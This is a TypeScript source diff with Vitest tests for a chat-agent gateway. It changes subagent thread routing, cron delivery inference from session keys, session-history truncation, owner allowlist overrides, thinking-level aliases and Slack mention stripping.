expect(call?.params?.accountId).toBe("kev");
});
it("includes threadId when origin has an active topic/thread", async () => {
const { runSubagentAnnounceFlow } = await import("./subagent-announce.js");
embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(true);
embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false);
sessionStore = {
"agent:main:main": {
sessionId: "session-thread",
lastChannel: "telegram",
lastTo: "telegram:123",
lastThreadId: 42,
queueMode: "collect",
queueDebounceMs: 0,
},
};
const didAnnounce = await runSubagentAnnounceFlow({
childSessionKey: "agent:main:subagent:test",
childRunId: "run-thread",
requesterSessionKey: "main",
requesterDisplayKey: "main",
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
});
expect(didAnnounce).toBe(true);
await expect.poll(() => agentSpy.mock.calls.length).toBe(1);
const call = agentSpy.mock.calls[0]?.[0] as { params?: Record<string, unknown> };
expect(call?.params?.channel).toBe("telegram");
expect(call?.params?.to).toBe("telegram:123");
expect(call?.params?.threadId).toBe("42");
});
it("prefers requesterOrigin.threadId over session entry threadId", async () => {
const { runSubagentAnnounceFlow } = await import("./subagent-announce.js");
embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(true);
embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false);
sessionStore = {
"agent:main:main": {
sessionId: "session-thread-override",
lastChannel: "telegram",
lastTo: "telegram:123",
lastThreadId: 42,
queueMode: "collect",
queueDebounceMs: 0,
},
};
const didAnnounce = await runSubagentAnnounceFlow({
childSessionKey: "agent:main:subagent:test",
childRunId: "run-thread-override",
requesterSessionKey: "main",
requesterDisplayKey: "main",
requesterOrigin: {
channel: "telegram",
to: "telegram:123",
threadId: 99,
},
task: "do thing",
timeoutMs: 1000,
cleanup: "keep",
waitForCompletion: false,
startedAt: 10,
endedAt: 20,
outcome: { status: "ok" },
});
expect(didAnnounce).toBe(true);
await expect.poll(() => agentSpy.mock.calls.length).toBe(1);
const call = agentSpy.mock.calls[0]?.[0] as { params?: Record<string, unknown> };
expect(call?.params?.threadId).toBe("99");
});
it("splits collect-mode queues when accountId differs", async () => {
const { runSubagentAnnounceFlow } = await import("./subagent-announce.js");
embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(true);
+93
View File
@@ -233,4 +233,97 @@ describe("cron tool", () => {
expect(call.method).toBe("cron.add");
expect(call.params?.agentId).toBeNull();
});
it("infers delivery from threaded session keys", async () => {
callGatewayMock.mockResolvedValueOnce({ ok: true });
const tool = createCronTool({
agentSessionKey: "agent:main:slack:channel:general:thread:1699999999.0001",
});
await tool.execute("call-thread", {
action: "add",
job: {
name: "reminder",
schedule: { at: new Date(123).toISOString() },
payload: { kind: "agentTurn", message: "hello" },
},
});
const call = callGatewayMock.mock.calls[0]?.[0] as {
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
};
expect(call?.params?.delivery).toEqual({
mode: "announce",
channel: "slack",
to: "general",
});
});
it("preserves telegram forum topics when inferring delivery", async () => {
callGatewayMock.mockResolvedValueOnce({ ok: true });
const tool = createCronTool({
agentSessionKey: "agent:main:telegram:group:-1001234567890:topic:99",
});
await tool.execute("call-telegram-topic", {
action: "add",
job: {
name: "reminder",
schedule: { at: new Date(123).toISOString() },
payload: { kind: "agentTurn", message: "hello" },
},
});
const call = callGatewayMock.mock.calls[0]?.[0] as {
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
};
expect(call?.params?.delivery).toEqual({
mode: "announce",
channel: "telegram",
to: "-1001234567890:topic:99",
});
});
it("infers delivery when delivery is null", async () => {
callGatewayMock.mockResolvedValueOnce({ ok: true });
const tool = createCronTool({ agentSessionKey: "agent:main:dm:alice" });
await tool.execute("call-null-delivery", {
action: "add",
job: {
name: "reminder",
schedule: { at: new Date(123).toISOString() },
payload: { kind: "agentTurn", message: "hello" },
delivery: null,
},
});
const call = callGatewayMock.mock.calls[0]?.[0] as {
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
};
expect(call?.params?.delivery).toEqual({
mode: "announce",
to: "alice",
});
});
it("does not infer delivery when mode is none", async () => {
callGatewayMock.mockResolvedValueOnce({ ok: true });
const tool = createCronTool({ agentSessionKey: "agent:main:discord:dm:buddy" });
await tool.execute("call-none", {
action: "add",
job: {
name: "reminder",
schedule: { at: new Date(123).toISOString() },
payload: { kind: "agentTurn", message: "hello" },
delivery: { mode: "none" },
},
});
const call = callGatewayMock.mock.calls[0]?.[0] as {
params?: { delivery?: { mode?: string; channel?: string; to?: string } };
};
expect(call?.params?.delivery).toEqual({ mode: "none" });
});
});
+97
View File
@@ -1,6 +1,8 @@
import { Type } from "@sinclair/typebox";
import type { CronDelivery, CronMessageChannel } from "../../cron/types.js";
import { loadConfig } from "../../config/config.js";
import { normalizeCronJobCreate, normalizeCronJobPatch } from "../../cron/normalize.js";
import { parseAgentSessionKey } from "../../sessions/session-key-utils.js";
import { truncateUtf16Safe } from "../../utils.js";
import { resolveSessionAgentId } from "../agent-scope.js";
import { optionalStringEnum, stringEnum } from "../schema/typebox.js";
@@ -153,6 +155,72 @@ async function buildReminderContextLines(params: {
}
}
function isRecord(value: unknown): value is Record<string, unknown> {
return typeof value === "object" && value !== null && !Array.isArray(value);
}
function stripThreadSuffixFromSessionKey(sessionKey: string): string {
const normalized = sessionKey.toLowerCase();
const idx = normalized.lastIndexOf(":thread:");
if (idx <= 0) {
return sessionKey;
}
const parent = sessionKey.slice(0, idx).trim();
return parent ? parent : sessionKey;
}
function inferDeliveryFromSessionKey(agentSessionKey?: string): CronDelivery | null {
const rawSessionKey = agentSessionKey?.trim();
if (!rawSessionKey) {
return null;
}
const parsed = parseAgentSessionKey(stripThreadSuffixFromSessionKey(rawSessionKey));
if (!parsed || !parsed.rest) {
return null;
}
const parts = parsed.rest.split(":").filter(Boolean);
if (parts.length === 0) {
return null;
}
const head = parts[0]?.trim().toLowerCase();
if (!head || head === "main" || head === "subagent" || head === "acp") {
return null;
}
// buildAgentPeerSessionKey encodes peers as:
// - dm:<peerId>
// - <channel>:dm:<peerId>
// - <channel>:<accountId>:dm:<peerId>
// - <channel>:group:<peerId>
// - <channel>:channel:<peerId>
// Threaded sessions append :thread:<id>, which we strip so delivery targets the parent peer.
// NOTE: Telegram forum topics encode as <chatId>:topic:<topicId> and should be preserved.
const markerIndex = parts.findIndex(
(part) => part === "dm" || part === "group" || part === "channel",
);
if (markerIndex === -1) {
return null;
}
const peerId = parts
.slice(markerIndex + 1)
.join(":")
.trim();
if (!peerId) {
return null;
}
let channel: CronMessageChannel | undefined;
if (markerIndex >= 1) {
channel = parts[0]?.trim().toLowerCase() as CronMessageChannel;
}
const delivery: CronDelivery = { mode: "announce", to: peerId };
if (channel) {
delivery.channel = channel;
}
return delivery;
}
export function createCronTool(opts?: CronToolOptions): AnyAgentTool {
return {
label: "Cron",
@@ -243,6 +311,35 @@ Use jobId as the canonical identifier; id is accepted for compatibility. Use con
(job as { agentId?: string }).agentId = agentId;
}
}
// [Fix Issue 3] Infer delivery target from session key for isolated jobs if not provided
if (
opts?.agentSessionKey &&
job &&
typeof job === "object" &&
"payload" in job &&
(job as { payload?: { kind?: string } }).payload?.kind === "agentTurn"
) {
const deliveryValue = (job as { delivery?: unknown }).delivery;
const delivery = isRecord(deliveryValue) ? deliveryValue : undefined;
const modeRaw = typeof delivery?.mode === "string" ? delivery.mode : "";
const mode = modeRaw.trim().toLowerCase();
const hasTarget =
(typeof delivery?.channel === "string" && delivery.channel.trim()) ||
(typeof delivery?.to === "string" && delivery.to.trim());
const shouldInfer =
(deliveryValue == null || delivery) && mode !== "none" && !hasTarget;
if (shouldInfer) {
const inferred = inferDeliveryFromSessionKey(opts.agentSessionKey);
if (inferred) {
(job as { delivery?: unknown }).delivery = {
...delivery,
...inferred,
} satisfies CronDelivery;
}
}
}
const contextMessages =
typeof params.contextMessages === "number" && Number.isFinite(params.contextMessages)
? params.contextMessages
+9 -4
View File
@@ -24,6 +24,8 @@ import {
} from "./image-tool.helpers.js";
const DEFAULT_PROMPT = "Describe the image.";
const ANTHROPIC_IMAGE_PRIMARY = "anthropic/claude-opus-4-6";
const ANTHROPIC_IMAGE_FALLBACK = "anthropic/claude-opus-4-5";
export const __testing = {
decodeDataUrl,
@@ -117,7 +119,7 @@ export function resolveImageModelConfigForTool(params: {
} else if (primary.provider === "openai" && openaiOk) {
preferred = "openai/gpt-5-mini";
} else if (primary.provider === "anthropic" && anthropicOk) {
preferred = "anthropic/claude-opus-4-5";
preferred = ANTHROPIC_IMAGE_PRIMARY;
}
if (preferred?.trim()) {
@@ -125,7 +127,7 @@ export function resolveImageModelConfigForTool(params: {
addFallback("openai/gpt-5-mini");
}
if (anthropicOk) {
addFallback("anthropic/claude-opus-4-5");
addFallback(ANTHROPIC_IMAGE_FALLBACK);
}
// Don't duplicate primary in fallbacks.
const pruned = fallbacks.filter((ref) => ref !== preferred);
@@ -138,7 +140,7 @@ export function resolveImageModelConfigForTool(params: {
// Cross-provider fallback when we can't pair with the primary provider.
if (openaiOk) {
if (anthropicOk) {
addFallback("anthropic/claude-opus-4-5");
addFallback(ANTHROPIC_IMAGE_FALLBACK);
}
return {
primary: "openai/gpt-5-mini",
@@ -146,7 +148,10 @@ export function resolveImageModelConfigForTool(params: {
};
}
if (anthropicOk) {
return { primary: "anthropic/claude-opus-4-5" };
return {
primary: ANTHROPIC_IMAGE_PRIMARY,
fallbacks: [ANTHROPIC_IMAGE_FALLBACK],
};
}
return null;
+145 -2
View File
@@ -2,7 +2,9 @@ import { Type } from "@sinclair/typebox";
import type { AnyAgentTool } from "./common.js";
import { loadConfig } from "../../config/config.js";
import { callGateway } from "../../gateway/call.js";
import { capArrayByJsonBytes } from "../../gateway/session-utils.fs.js";
import { isSubagentSessionKey, resolveAgentIdFromSessionKey } from "../../routing/session-key.js";
import { truncateUtf16Safe } from "../../utils.js";
import { jsonResult, readStringParam } from "./common.js";
import {
createAgentToAgentPolicy,
@@ -19,6 +21,131 @@ const SessionsHistoryToolSchema = Type.Object({
includeTools: Type.Optional(Type.Boolean()),
});
const SESSIONS_HISTORY_MAX_BYTES = 80 * 1024;
const SESSIONS_HISTORY_TEXT_MAX_CHARS = 4000;
function truncateHistoryText(text: string): { text: string; truncated: boolean } {
if (text.length <= SESSIONS_HISTORY_TEXT_MAX_CHARS) {
return { text, truncated: false };
}
const cut = truncateUtf16Safe(text, SESSIONS_HISTORY_TEXT_MAX_CHARS);
return { text: `${cut}\n…(truncated)…`, truncated: true };
}
function sanitizeHistoryContentBlock(block: unknown): { block: unknown; truncated: boolean } {
if (!block || typeof block !== "object") {
return { block, truncated: false };
}
const entry = { ...(block as Record<string, unknown>) };
let truncated = false;
const type = typeof entry.type === "string" ? entry.type : "";
if (typeof entry.text === "string") {
const res = truncateHistoryText(entry.text);
entry.text = res.text;
truncated ||= res.truncated;
}
if (type === "thinking") {
if (typeof entry.thinking === "string") {
const res = truncateHistoryText(entry.thinking);
entry.thinking = res.text;
truncated ||= res.truncated;
}
// The encrypted signature can be extremely large and is not useful for history recall.
if ("thinkingSignature" in entry) {
delete entry.thinkingSignature;
truncated = true;
}
}
if (typeof entry.partialJson === "string") {
const res = truncateHistoryText(entry.partialJson);
entry.partialJson = res.text;
truncated ||= res.truncated;
}
if (type === "image") {
const data = typeof entry.data === "string" ? entry.data : undefined;
const bytes = data ? data.length : undefined;
if ("data" in entry) {
delete entry.data;
truncated = true;
}
entry.omitted = true;
if (bytes !== undefined) {
entry.bytes = bytes;
}
}
return { block: entry, truncated };
}
function sanitizeHistoryMessage(message: unknown): { message: unknown; truncated: boolean } {
if (!message || typeof message !== "object") {
return { message, truncated: false };
}
const entry = { ...(message as Record<string, unknown>) };
let truncated = false;
// Tool result details often contain very large nested payloads.
if ("details" in entry) {
delete entry.details;
truncated = true;
}
if ("usage" in entry) {
delete entry.usage;
truncated = true;
}
if ("cost" in entry) {
delete entry.cost;
truncated = true;
}
if (typeof entry.content === "string") {
const res = truncateHistoryText(entry.content);
entry.content = res.text;
truncated ||= res.truncated;
} else if (Array.isArray(entry.content)) {
const updated = entry.content.map((block) => sanitizeHistoryContentBlock(block));
entry.content = updated.map((item) => item.block);
truncated ||= updated.some((item) => item.truncated);
}
if (typeof entry.text === "string") {
const res = truncateHistoryText(entry.text);
entry.text = res.text;
truncated ||= res.truncated;
}
return { message: entry, truncated };
}
function jsonUtf8Bytes(value: unknown): number {
try {
return Buffer.byteLength(JSON.stringify(value), "utf8");
} catch {
return Buffer.byteLength(String(value), "utf8");
}
}
function enforceSessionsHistoryHardCap(params: {
items: unknown[];
bytes: number;
maxBytes: number;
}): { items: unknown[]; bytes: number; hardCapped: boolean } {
if (params.bytes <= params.maxBytes) {
return { items: params.items, bytes: params.bytes, hardCapped: false };
}
const last = params.items.at(-1);
const lastOnly = last ? [last] : [];
const lastBytes = jsonUtf8Bytes(lastOnly);
if (lastBytes <= params.maxBytes) {
return { items: lastOnly, bytes: lastBytes, hardCapped: true };
}
const placeholder = [
{
role: "assistant",
content: "[sessions_history omitted: message too large]",
},
];
return { items: placeholder, bytes: jsonUtf8Bytes(placeholder), hardCapped: true };
}
function resolveSandboxSessionToolsVisibility(cfg: ReturnType<typeof loadConfig>) {
return cfg.agents?.defaults?.sandbox?.sessionToolsVisibility ?? "spawned";
}
@@ -131,10 +258,26 @@ export function createSessionsHistoryTool(opts?: {
params: { sessionKey: resolvedKey, limit },
});
const rawMessages = Array.isArray(result?.messages) ? result.messages : [];
const messages = includeTools ? rawMessages : stripToolMessages(rawMessages);
const selectedMessages = includeTools ? rawMessages : stripToolMessages(rawMessages);
const sanitizedMessages = selectedMessages.map((message) => sanitizeHistoryMessage(message));
const contentTruncated = sanitizedMessages.some((entry) => entry.truncated);
const cappedMessages = capArrayByJsonBytes(
sanitizedMessages.map((entry) => entry.message),
SESSIONS_HISTORY_MAX_BYTES,
);
const droppedMessages = cappedMessages.items.length < selectedMessages.length;
const hardened = enforceSessionsHistoryHardCap({
items: cappedMessages.items,
bytes: cappedMessages.bytes,
maxBytes: SESSIONS_HISTORY_MAX_BYTES,
});
return jsonResult({
sessionKey: displayKey,
messages,
messages: hardened.items,
truncated: droppedMessages || contentTruncated || hardened.hardCapped,
droppedMessages: droppedMessages || hardened.hardCapped,
contentTruncated,
bytes: hardened.bytes,
});
},
};
+4
View File
@@ -231,6 +231,10 @@ export function createSessionsSpawnTool(opts?: {
message: task,
sessionKey: childSessionKey,
channel: requesterOrigin?.channel,
to: requesterOrigin?.to ?? undefined,
accountId: requesterOrigin?.accountId ?? undefined,
threadId:
requesterOrigin?.threadId != null ? String(requesterOrigin.threadId) : undefined,
idempotencyKey: childIdem,
deliver: false,
lane: AGENT_LANE_SUBAGENT,
+23 -5
View File
@@ -89,8 +89,9 @@ function resolveOwnerAllowFromList(params: {
cfg: OpenClawConfig;
accountId?: string | null;
providerId?: ChannelId;
allowFrom?: Array<string | number>;
}): string[] {
const raw = params.cfg.commands?.ownerAllowFrom;
const raw = params.allowFrom ?? params.cfg.commands?.ownerAllowFrom;
if (!Array.isArray(raw) || raw.length === 0) {
return [];
}
@@ -183,11 +184,19 @@ export function resolveCommandAuthorization(params: {
accountId: ctx.AccountId,
allowFrom: Array.isArray(allowFromRaw) ? allowFromRaw : [],
});
const ownerAllowFromList = resolveOwnerAllowFromList({
const configOwnerAllowFromList = resolveOwnerAllowFromList({
dock,
cfg,
accountId: ctx.AccountId,
providerId,
allowFrom: cfg.commands?.ownerAllowFrom,
});
const contextOwnerAllowFromList = resolveOwnerAllowFromList({
dock,
cfg,
accountId: ctx.AccountId,
providerId,
allowFrom: ctx.OwnerAllowFrom,
});
const allowAll =
allowFromList.length === 0 || allowFromList.some((entry) => entry.trim() === "*");
@@ -204,10 +213,19 @@ export function resolveCommandAuthorization(params: {
ownerCandidatesForCommands.push(...normalizedTo);
}
}
const ownerAllowAll = ownerAllowFromList.some((entry) => entry.trim() === "*");
const explicitOwners = ownerAllowFromList.filter((entry) => entry !== "*");
const ownerAllowAll = configOwnerAllowFromList.some((entry) => entry.trim() === "*");
const explicitOwners = configOwnerAllowFromList.filter((entry) => entry !== "*");
const explicitOverrides = contextOwnerAllowFromList.filter((entry) => entry !== "*");
const ownerList = Array.from(
new Set(explicitOwners.length > 0 ? explicitOwners : ownerCandidatesForCommands),
new Set(
explicitOwners.length > 0
? explicitOwners
: ownerAllowAll
? []
: explicitOverrides.length > 0
? explicitOverrides
: ownerCandidatesForCommands,
),
);
const senderCandidates = resolveSenderCandidates({
+47 -3
View File
@@ -2,19 +2,28 @@ import { afterEach, beforeEach, describe, expect, it } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import type { MsgContext } from "./templating.js";
import { setActivePluginRegistry } from "../plugins/runtime.js";
import { createTestRegistry } from "../test-utils/channel-plugins.js";
import { createOutboundTestPlugin, createTestRegistry } from "../test-utils/channel-plugins.js";
import { resolveCommandAuthorization } from "./command-auth.js";
import { hasControlCommand, hasInlineCommandTokens } from "./command-detection.js";
import { listChatCommands } from "./commands-registry.js";
import { parseActivationCommand } from "./group-activation.js";
import { parseSendPolicyCommand } from "./send-policy.js";
const createRegistry = () =>
createTestRegistry([
{
pluginId: "discord",
plugin: createOutboundTestPlugin({ id: "discord", outbound: { deliveryMode: "direct" } }),
source: "test",
},
]);
beforeEach(() => {
setActivePluginRegistry(createTestRegistry([]));
setActivePluginRegistry(createRegistry());
});
afterEach(() => {
setActivePluginRegistry(createTestRegistry([]));
setActivePluginRegistry(createRegistry());
});
describe("resolveCommandAuthorization", () => {
@@ -167,6 +176,41 @@ describe("resolveCommandAuthorization", () => {
expect(otherAuth.senderIsOwner).toBe(false);
expect(otherAuth.isAuthorizedSender).toBe(false);
});
it("uses owner allowlist override from context when configured", () => {
setActivePluginRegistry(
createTestRegistry([
{
pluginId: "discord",
plugin: createOutboundTestPlugin({
id: "discord",
outbound: { deliveryMode: "direct" },
}),
source: "test",
},
]),
);
const cfg = {
channels: { discord: {} },
} as OpenClawConfig;
const ctx = {
Provider: "discord",
Surface: "discord",
From: "discord:123",
SenderId: "123",
OwnerAllowFrom: ["discord:123"],
} as MsgContext;
const auth = resolveCommandAuthorization({
ctx,
cfg,
commandAuthorized: true,
});
expect(auth.senderIsOwner).toBe(true);
expect(auth.ownerList).toEqual(["123"]);
});
});
describe("control command parsing", () => {
@@ -154,7 +154,7 @@ describe("directive behavior", () => {
const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean);
expect(texts).toContain(
'Thinking level "xhigh" is only supported for openai/gpt-5.2, openai-codex/gpt-5.2-codex or openai-codex/gpt-5.1-codex.',
'Thinking level "xhigh" is only supported for openai/gpt-5.2, openai-codex/gpt-5.3-codex, openai-codex/gpt-5.2-codex or openai-codex/gpt-5.1-codex.',
);
});
});
+22 -21
View File
@@ -292,31 +292,32 @@ export async function dispatchReplyFromConfig(params: {
let accumulatedBlockText = "";
let blockCount = 0;
const shouldSendToolSummaries = ctx.ChatType !== "group" && ctx.CommandSource !== "native";
const replyResult = await (params.replyResolver ?? getReplyFromConfig)(
ctx,
{
...params.replyOptions,
onToolResult:
ctx.ChatType !== "group" && ctx.CommandSource !== "native"
? (payload: ReplyPayload) => {
const run = async () => {
const ttsPayload = await maybeApplyTtsToPayload({
payload,
cfg,
channel: ttsChannel,
kind: "tool",
inboundAudio,
ttsAuto: sessionTtsAuto,
});
if (shouldRouteToOriginating) {
await sendPayloadAsync(ttsPayload, undefined, false);
} else {
dispatcher.sendToolResult(ttsPayload);
}
};
return run();
}
: undefined,
onToolResult: shouldSendToolSummaries
? (payload: ReplyPayload) => {
const run = async () => {
const ttsPayload = await maybeApplyTtsToPayload({
payload,
cfg,
channel: ttsChannel,
kind: "tool",
inboundAudio,
ttsAuto: sessionTtsAuto,
});
if (shouldRouteToOriginating) {
await sendPayloadAsync(ttsPayload, undefined, false);
} else {
dispatcher.sendToolResult(ttsPayload);
}
};
return run();
}
: undefined,
onBlockReply: (payload: ReplyPayload, context) => {
const run = async () => {
// Accumulate block text for TTS generation after streaming
@@ -6,7 +6,7 @@
*/
export type ResponsePrefixContext = {
/** Short model name (e.g., "gpt-5.2", "claude-opus-4-5") */
/** Short model name (e.g., "gpt-5.2", "claude-opus-4-6") */
model?: string;
/** Full model ID including provider (e.g., "openai-codex/gpt-5.2") */
modelFull?: string;
@@ -71,12 +71,12 @@ export function resolveResponsePrefixTemplate(
*
* Strips:
* - Provider prefix (e.g., "openai/" from "openai/gpt-5.2")
* - Date suffixes (e.g., "-20251101" from "claude-opus-4-5-20251101")
* - Date suffixes (e.g., "-20260205" from "claude-opus-4-6-20260205")
* - Common version suffixes (e.g., "-latest")
*
* @example
* extractShortModelName("openai-codex/gpt-5.2") // "gpt-5.2"
* extractShortModelName("claude-opus-4-5-20251101") // "claude-opus-4-5"
* extractShortModelName("claude-opus-4-6-20260205") // "claude-opus-4-6"
* extractShortModelName("gpt-5.2-latest") // "gpt-5.2"
*/
export function extractShortModelName(fullModel: string): string {
+101
View File
@@ -255,6 +255,107 @@ describe("initSessionState reset triggers in WhatsApp groups", () => {
});
});
describe("initSessionState reset triggers in Slack channels", () => {
async function createStorePath(prefix: string): Promise<string> {
const root = await fs.mkdtemp(path.join(os.tmpdir(), prefix));
return path.join(root, "sessions.json");
}
async function seedSessionStore(params: {
storePath: string;
sessionKey: string;
sessionId: string;
}): Promise<void> {
const { saveSessionStore } = await import("../../config/sessions.js");
await saveSessionStore(params.storePath, {
[params.sessionKey]: {
sessionId: params.sessionId,
updatedAt: Date.now(),
},
});
}
it("Reset trigger /reset works when Slack message has a leading <@...> mention token", async () => {
const storePath = await createStorePath("openclaw-slack-channel-reset-");
const sessionKey = "agent:main:slack:channel:c1";
const existingSessionId = "existing-session-123";
await seedSessionStore({
storePath,
sessionKey,
sessionId: existingSessionId,
});
const cfg = {
session: { store: storePath, idleMinutes: 999 },
} as OpenClawConfig;
const channelMessageCtx = {
Body: "<@U123> /reset",
RawBody: "<@U123> /reset",
CommandBody: "<@U123> /reset",
From: "slack:channel:C1",
To: "channel:C1",
ChatType: "channel",
SessionKey: sessionKey,
Provider: "slack",
Surface: "slack",
SenderId: "U123",
SenderName: "Owner",
};
const result = await initSessionState({
ctx: channelMessageCtx,
cfg,
commandAuthorized: true,
});
expect(result.isNewSession).toBe(true);
expect(result.resetTriggered).toBe(true);
expect(result.sessionId).not.toBe(existingSessionId);
expect(result.bodyStripped).toBe("");
});
it("Reset trigger /new preserves args when Slack message has a leading <@...> mention token", async () => {
const storePath = await createStorePath("openclaw-slack-channel-new-");
const sessionKey = "agent:main:slack:channel:c2";
const existingSessionId = "existing-session-123";
await seedSessionStore({
storePath,
sessionKey,
sessionId: existingSessionId,
});
const cfg = {
session: { store: storePath, idleMinutes: 999 },
} as OpenClawConfig;
const channelMessageCtx = {
Body: "<@U123> /new take notes",
RawBody: "<@U123> /new take notes",
CommandBody: "<@U123> /new take notes",
From: "slack:channel:C2",
To: "channel:C2",
ChatType: "channel",
SessionKey: sessionKey,
Provider: "slack",
Surface: "slack",
SenderId: "U123",
SenderName: "Owner",
};
const result = await initSessionState({
ctx: channelMessageCtx,
cfg,
commandAuthorized: true,
});
expect(result.isNewSession).toBe(true);
expect(result.resetTriggered).toBe(true);
expect(result.sessionId).not.toBe(existingSessionId);
expect(result.bodyStripped).toBe("take notes");
});
});
describe("applyResetModelOverride", () => {
it("selects a model hint and strips it from the body", async () => {
const cfg = {} as OpenClawConfig;
+11
View File
@@ -313,6 +313,10 @@ export async function initSessionState(params: {
parentSessionKey !== sessionKey &&
sessionStore[parentSessionKey]
) {
console.warn(
`[session-init] forking from parent session: parentKey=${parentSessionKey} → sessionKey=${sessionKey} ` +
`parentTokens=${sessionStore[parentSessionKey].totalTokens ?? "?"}`,
);
const forked = forkSessionFromParent({
parentEntry: sessionStore[parentSessionKey],
});
@@ -320,6 +324,7 @@ export async function initSessionState(params: {
sessionId = forked.sessionId;
sessionEntry.sessionId = forked.sessionId;
sessionEntry.sessionFile = forked.sessionFile;
console.warn(`[session-init] forked session created: file=${forked.sessionFile}`);
}
}
if (!sessionEntry.sessionFile) {
@@ -333,6 +338,12 @@ export async function initSessionState(params: {
sessionEntry.compactionCount = 0;
sessionEntry.memoryFlushCompactionCount = undefined;
sessionEntry.memoryFlushAt = undefined;
// Clear stale token metrics from previous session so /status doesn't
// display the old session's context usage after /new or /reset.
sessionEntry.totalTokens = undefined;
sessionEntry.inputTokens = undefined;
sessionEntry.outputTokens = undefined;
sessionEntry.contextTokens = undefined;
}
// Preserve per-session overrides while resetting compaction state on /new.
sessionStore[sessionKey] = { ...sessionStore[sessionKey], ...sessionEntry };
+2
View File
@@ -91,6 +91,8 @@ export type MsgContext = {
GroupSystemPrompt?: string;
/** Untrusted metadata that must not be treated as system instructions. */
UntrustedContext?: string[];
/** Explicit owner allowlist overrides (trusted, configuration-derived). */
OwnerAllowFrom?: Array<string | number>;
SenderName?: string;
SenderId?: string;
SenderUsername?: string;
+22 -1
View File
@@ -11,8 +11,28 @@ describe("normalizeThinkLevel", () => {
expect(normalizeThinkLevel("mid")).toBe("medium");
});
it("accepts xhigh", () => {
it("accepts xhigh aliases", () => {
expect(normalizeThinkLevel("xhigh")).toBe("xhigh");
expect(normalizeThinkLevel("x-high")).toBe("xhigh");
expect(normalizeThinkLevel("x_high")).toBe("xhigh");
expect(normalizeThinkLevel("x high")).toBe("xhigh");
});
it("accepts extra-high aliases as xhigh", () => {
expect(normalizeThinkLevel("extra-high")).toBe("xhigh");
expect(normalizeThinkLevel("extra high")).toBe("xhigh");
expect(normalizeThinkLevel("extra_high")).toBe("xhigh");
expect(normalizeThinkLevel(" extra high ")).toBe("xhigh");
});
it("does not over-match nearby xhigh words", () => {
expect(normalizeThinkLevel("extra-highest")).toBeUndefined();
expect(normalizeThinkLevel("xhigher")).toBeUndefined();
});
it("accepts extra-high aliases as xhigh", () => {
expect(normalizeThinkLevel("extra-high")).toBe("xhigh");
expect(normalizeThinkLevel("extra high")).toBe("xhigh");
});
it("accepts on as low", () => {
@@ -23,6 +43,7 @@ describe("normalizeThinkLevel", () => {
describe("listThinkingLevels", () => {
it("includes xhigh for codex models", () => {
expect(listThinkingLevels(undefined, "gpt-5.2-codex")).toContain("xhigh");
expect(listThinkingLevels(undefined, "gpt-5.3-codex")).toContain("xhigh");
});
it("includes xhigh for openai gpt-5.2", () => {
+6 -4
View File
@@ -23,6 +23,7 @@ export function isBinaryThinkingProvider(provider?: string | null): boolean {
export const XHIGH_MODEL_REFS = [
"openai/gpt-5.2",
"openai-codex/gpt-5.3-codex",
"openai-codex/gpt-5.2-codex",
"openai-codex/gpt-5.1-codex",
] as const;
@@ -39,7 +40,11 @@ export function normalizeThinkLevel(raw?: string | null): ThinkLevel | undefined
if (!raw) {
return undefined;
}
const key = raw.toLowerCase();
const key = raw.trim().toLowerCase();
const collapsed = key.replace(/[\s_-]+/g, "");
if (collapsed === "xhigh" || collapsed === "extrahigh") {
return "xhigh";
}
if (["off"].includes(key)) {
return "off";
}
@@ -60,9 +65,6 @@ export function normalizeThinkLevel(raw?: string | null): ThinkLevel | undefined
) {
return "high";
}
if (["xhigh", "x-high", "x_high"].includes(key)) {
return "xhigh";
}
if (["think"].includes(key)) {
return "minimal";
}
+3
View File
@@ -295,6 +295,9 @@ const DOCKS: Record<ChatChannelId, ChannelDock> = {
resolveRequireMention: resolveSlackGroupRequireMention,
resolveToolPolicy: resolveSlackGroupToolPolicy,
},
mentions: {
stripPatterns: () => ["<@[^>]+>"],
},
threading: {
resolveReplyToMode: ({ cfg, accountId, chatType }) =>
resolveSlackReplyToMode(resolveSlackAccount({ cfg, accountId }), chatType),
-5
View File
@@ -1,5 +0,0 @@
export function normalizeFeishuTarget(raw: string): string {
let normalized = raw.replace(/^(feishu|lark):/i, "").trim();
normalized = normalized.replace(/^(group|chat|user|dm):/i, "").trim();
return normalized;
}
-52
View File
@@ -1,52 +0,0 @@
import type { ChannelOutboundAdapter } from "../types.js";
import { chunkMarkdownText } from "../../../auto-reply/chunk.js";
import { getFeishuClient } from "../../../feishu/client.js";
import { sendMessageFeishu } from "../../../feishu/send.js";
function resolveReceiveIdType(target: string): "open_id" | "union_id" | "chat_id" {
const trimmed = target.trim().toLowerCase();
if (trimmed.startsWith("ou_")) {
return "open_id";
}
if (trimmed.startsWith("on_")) {
return "union_id";
}
return "chat_id";
}
export const feishuOutbound: ChannelOutboundAdapter = {
deliveryMode: "direct",
chunker: (text, limit) => chunkMarkdownText(text, limit),
chunkerMode: "markdown",
textChunkLimit: 2000,
sendText: async ({ to, text, accountId }) => {
const client = getFeishuClient(accountId ?? undefined);
const result = await sendMessageFeishu(
client,
to,
{ text },
{
receiveIdType: resolveReceiveIdType(to),
},
);
return {
channel: "feishu",
messageId: result?.message_id || "unknown",
chatId: to,
};
},
sendMedia: async ({ to, text, mediaUrl, accountId }) => {
const client = getFeishuClient(accountId ?? undefined);
const result = await sendMessageFeishu(
client,
to,
{ text: text || "" },
{ mediaUrl, receiveIdType: resolveReceiveIdType(to) },
);
return {
channel: "feishu",
messageId: result?.message_id || "unknown",
chatId: to,
};
},
};
+52 -8
View File
@@ -18,17 +18,62 @@ vi.mock("../runtime.js", () => ({
defaultRuntime: runtime,
}));
function writeManifest(dir: string) {
fs.mkdirSync(dir, { recursive: true });
fs.writeFileSync(path.join(dir, "manifest.json"), JSON.stringify({ manifest_version: 3 }));
}
describe("bundled extension resolver", () => {
it("walks up to find the assets directory", async () => {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-ext-root-"));
const here = path.join(root, "dist", "cli");
